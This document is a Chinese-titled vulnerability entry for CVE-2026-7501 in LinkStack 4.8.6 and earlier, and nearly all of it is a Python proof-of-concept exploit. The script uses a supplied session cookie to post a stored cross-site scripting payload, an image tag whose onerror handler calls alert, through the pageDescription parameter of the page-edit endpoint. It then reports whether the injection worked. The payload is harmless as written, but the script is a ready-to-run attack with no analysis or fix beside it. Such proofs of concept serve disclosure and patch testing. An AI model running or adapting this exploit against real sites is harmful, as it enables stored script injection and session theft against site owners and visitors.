CVE-2026-7501 LinkStack跨站脚本漏洞

# PoC Concept for CVE-2026-7501 # Target: LinkStack <= 4.8.6 # Vulnerable Parameter: pageDescription import requests def exploit_xss(target_url, session_cookie): """Demonstrates the Stored XSS vulnerability via pageDescription""" # The XSS payload to be stored xss_payload = "<img src=x onerror=alert('CVE-2026-7501')>" # Endpoint for editing the user page edit_url = f"{target_url}/user/edit/page" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Data payload including the vulnerable parameter data = { "pageDescription": xss_payload, "pageName": "TestPage" } try: response = requests.post(edit_url, headers=headers, data=data) if response.status_code == 200: print(f"[+] Payload injected successfully. Visit user page to trigger XSS.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")